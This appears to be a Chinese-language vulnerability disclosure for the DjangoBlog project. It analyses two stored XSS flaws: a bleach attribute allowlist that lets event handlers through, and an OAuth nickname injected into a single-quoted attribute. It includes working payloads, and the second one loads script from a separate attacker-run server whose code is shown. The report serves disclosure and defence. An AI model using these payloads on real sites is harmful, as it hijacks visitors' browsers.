DjangoBlog 漏洞报告
软件名称:DjangoBlog
开发者或厂商:liangliangyy
代码仓库:https://github.com/liangliangyy/DjangoBlog
1. 评论净化器属性白名单可绕过导致存储型 XSS
| 简要描述: | 评论正文的 bleach 属性白名单对 span、div、pre、code 四个标签不做限制,攻击者可以在评论里写入带 autofocus 与 onfocus 的元素,访客打开文章页时,无需交互即执行脚本。 |
|---|---|
| 影响版本: | 2.1.0.0 ~ commit f1d13badaa |
| 前置条件: | 目标文章开启评论;攻击者有账号(若站点配置了邮件服务,则可以自助注册;若配置了 OAuth,则可以用第三方账号登录;若均未配置,可以尝试用 CVE-2026-6578 注册账号)。 |
漏洞成因
comment_markdown 过滤器先渲染 Markdown,再用 sanitize_html 清洗,最后 mark_safe 输出:
# blog/templatetags/blog_tags.py:156-158 commit f1d13badaa
def comment_markdown(content):
content = CommonMarkdown.get_markdown(content)
return mark_safe(sanitize_html(content))
sanitize_html 用 bleach 的 attributes 白名单过滤属性,而 ALLOWED_ATTRIBUTES 把 span、div、pre、code 的属性检查交给 class_filter。class_filter 只对 class 做取值检查,其余属性直接返回原值:
# djangoblog/utils.py:248-268 commit f1d13badaa
def class_filter(tag, name, value):
"""自定义class属性过滤器"""
if name == 'class':
allowed_classes = [cls for cls in value.split() if cls in ALLOWED_CLASSES]
return ' '.join(allowed_classes) if allowed_classes else False
return value
ALLOWED_ATTRIBUTES = {
'a': ['href', 'title', 'rel'],
'img': ['src', 'alt', 'title', 'width', 'height'],
'table': ['border', 'cellpadding', 'cellspacing'],
'th': ['align', 'valign'],
'td': ['align', 'valign'],
'span': class_filter,
'div': class_filter,
'pre': class_filter,
'code': class_filter
}
bleach 把回调的返回值当作属性值保留,于是 span、div、pre、code 上的 onfocus、onmouseover 等事件属性都会通过。评论模板直接输出清洗结果:
{# templates/comments/tags/comment_item_modern.html:68 commit f1d13badaa #}
{{ comment_item.body|comment_markdown }}
要让页面加载即触发,事件属性使用 autofocus 与 onfocus。bleach 会把空属性值视为假值丢弃,因此 autofocus 需要带一个非空值,写成 autofocus="x"。浏览器加载页面时会自动聚焦该元素,onfocus 随即执行。
复现环境搭建
按官方文档从源码构建部署:
git clone https://github.com/liangliangyy/DjangoBlog.git
cd DjangoBlog
git checkout f1d13badaa
cd deploy/docker-compose
docker compose up -d --build
docker compose exec djangoblog python manage.py createsuperuser
本文所用复现机器的监听端口是 192.168.48.130:8080。登录 http://192.168.48.130:8080/admin/,新建一篇文章。
本文采用 GitHub 登录以演示攻击。在 GitHub 新建一个 OAuth App,Homepage URL 填 http://192.168.48.130:8080,Authorization callback URL 填 http://192.168.48.130:8080/oauth/authorize?type=github。然后在后台的 OAuth 配置里新增一条 GitHub 记录,AppKey 与 AppSecret 填入该应用的 Client ID 与 Client Secret。
复现过程
浏览器访问 http://192.168.48.130:8080/oauth/oauthlogin?type=github,在 GitHub 上授权后回到站点,即为登录状态。
打开文章,在评论框粘贴下面的内容并提交:
<div tabindex="0" autofocus="x" onfocus="alert(document.domain)">x</div>

页面刷新后立即弹窗,不需要点击页面:

复制文章地址,用无痕窗口以未登录状态打开,页面同样在加载时执行:

2. OAuth 昵称注入评论表情属性导致存储型 XSS
| 简要描述: | 攻击者通过 OAuth 登录时,第三方返回的昵称被直接写进站内用户名,该用户名会进入评论表情的 data-reactions 属性,且属性用单引号包裹,昵称可以闭合属性并注入脚本。其他用户打开文章即被 XSS。 |
|---|---|
| 影响版本: | commit f1d13badaa |
| 前置条件: | 目标站点启用了 OAuth 登录;攻击者拥有一个可以修改昵称的第三方账号(例如 Github)。 |
漏洞成因
OAuth 登录成功后,第三方返回的资料被原样写入 OAuthUser.nickname,以 GitHub 为例:
# oauth/oauthmanager.py:301-306 commit f1d13badaa
datas = json.loads(rsp)
user = OAuthUser()
user.picture = datas['avatar_url']
user.nickname = datas['name']
user.openid = datas['id']
user.type = 'github'
当本站没有该邮箱对应的账号时,authorize 会直接建号并登录,用户名取自上面的昵称:
# oauth/views.py:102-112 commit f1d13badaa
result = get_user_model().objects.get_or_create(email=user.email)
author = result[0]
if result[1]:
try:
get_user_model().objects.get(username=user.nickname)
except ObjectDoesNotExist:
author.username = user.nickname
else:
author.username = "djangoblog" + timezone.now().strftime('%y%m%d%I%M%S')
author.source = 'authorize'
author.save()
评论表情在查询点赞用户时,取的是 nickname 或 username:
# comments/models.py:71-76 commit f1d13badaa
reaction_users = CommentReaction.objects.filter(
comment=self,
reaction_type=emoji
).select_related('user')[:10] # 最多显示10个用户
user_names = [r.user.nickname or r.user.username for r in reaction_users]
模板用 to_json 把这份数据序列化进 data-reactions 属性,属性使用单引号,而 json.dumps 不会转义单引号:
# blog/templatetags/blog_tags.py:162-168 commit f1d13badaa
def to_json(value):
try:
return mark_safe(json.dumps(value, ensure_ascii=False))
except (TypeError, ValueError):
return mark_safe('{}')
{# templates/comments/tags/comment_item_modern.html:76 commit f1d13badaa #}
data-reactions='{{ comment_item|get_reactions_for_user:user|to_json }}'
因此攻击者把昵称设为以单引号开头的 HTML,再给任意评论点一次表情,脚本就会出现在打开该文章页的访客浏览器里。OAuthUser.nickname 的长度上限是 50,昵称里需要放一个足够短的脚本地址。
复现环境搭建
环境与第 1 节相同。攻击者还需要一个返回脚本的 HTTP 服务,/x.js 的内容如下:
from fastapi import FastAPI
from fastapi.responses import PlainTextResponse
JS = """
document.body.innerHTML='<h1 style="color:#c00;font:48px sans-serif">XSS on '+document.domain+'</h1>';
"""
app = FastAPI()
@app.get("/x.js")
async def x_js():
return PlainTextResponse(JS, media_type="application/javascript")
uvicorn attacker_server:app --host 0.0.0.0 --port 8081
复现过程
攻击者在 GitHub 的个人资料里把 Name 改成下面的字符串:
'><script src=//192.168.48.130:8081/x.js>

这个昵称由攻击者自己控制,长度 41 个字符,没有超过 OAuthUser.nickname 的 50。随后通过 http://192.168.48.130:8080/oauth/oauthlogin?type=github登录博客。第一次用该账号登录时,博客会为攻击者创建账号,并把昵称写进用户名。
新建一篇文章,打开它,发一条评论,再给这条评论点一个表情:

此时这条评论的 data-reactions 属性变成:
data-reactions='{"❤️": {"count": 1, "has_reacted": false, "users": ["'><script src=//192.168.48.130:8081/x.js>"]}}'
刷新页面,或在无痕窗口打开这篇文章,脚本在页面加载时执行:
